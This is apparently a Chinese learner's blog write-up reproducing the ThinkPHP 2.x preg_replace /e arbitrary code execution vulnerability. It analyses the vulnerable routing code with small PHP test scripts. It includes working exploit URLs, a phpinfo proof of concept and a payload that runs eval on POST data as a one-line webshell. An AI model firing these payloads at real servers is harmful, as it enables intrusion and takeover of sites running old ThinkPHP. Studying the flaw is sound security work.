ThinkPHP 2.x 任意代码执行漏洞
前言
第一次做漏洞复现,但是感觉自己的描述不是很清晰(有点逻辑混乱),文末参考链接讲的很清楚。
漏洞描述:
ThinkPHP 2.x版本中,使用preg_replace
的/e
模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
漏洞复现
POC:
/index.php?s=/index/index/name/${
@phpinfo()}
执行一句话木马:
/index.php?s=/index/index/name/${
@print(eval($_POST[1]))}
原因分析:
preg_replace 函数执行一个正则表达式的搜索和替换。
语法:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
但是在/e模式下,会将替换的字符当做代码执行。
@和/的效果相同,php 7以上版本不在支持/e修饰。
代码分析:
// 分析PATHINFO信息
self::getPathInfo();
if(!self::routerCheck()){
// 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {
// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
最开始的if判断,没有路由规则则使用默认规则,也就是执行$res。
$var是一个数组,对它的操作\$var[\'\\1\']="\\2";
表示第一个值为key,第二个值为value。
w+匹配一个或多个数字、字母、下划线。
所以,当第三个参数可控时,可以插入恶意代码。
在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行。
ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值…]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]
参考:
ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行
我再好好学习一下。
主要分析一下正则,毕竟是漏洞存在的地方:
<?php
function test($str)
{
echo "This func is run $str .";
}
$a='GoodGoodStudy';
$b='[bbbaaahelloworldaaabbb]';
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果:
[bbbGoodGoodStudybbb]
变量b中的aaa之间的部分被替换成变量a的值。
<?php
function test($str)
{
echo "This func is run $str .";
}
$a='test()';
$b='[bbbaaahelloworldaaabbb]';
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果:
This func is run .[bbbbbb]
变量a是一个函数,在正则替换时,本来应该被替换的hellordword确实替换了,但是没有值。
<?php
function test($str)
{
echo "This func is run $str .";
}
$a='test("\1")';
$b='[bbbaaahelloworldaaabbb]';
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果:
This func is run helloworld .[bbbbbb]
给变量a的函数test传入参数"\1",本来应该被替换的部分,也就是helloword,反而变成了参数进行了传递。
<?php
function test($str)
{
echo "This func is run $str .";
}
$a='test("\1")';
$b='aaa$caaa';
$c="CXK";
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果:
This func is run CXK .
通过可控参数b,传入一个变量c。
个人理解:正则表达式中本来要进行替换的位置,本身就依靠数组进行存储,而test传入的"\1",相当于取出数组中的元素(数组不是很恰当,因为数组从0开始),进行了传参。
试一下:
果然。
那这个东西就好理解了 :$var[’\1’]="\2"
第一个本来要被替换的数据,第一个给了key,第二个给了value(前面好像说了,这里在理解理解)。
可控的位置为implode($depr,$paths),implode()是将数组转成字符串。
到这,理解的差不多了(自己理解的差不多了,哈哈)。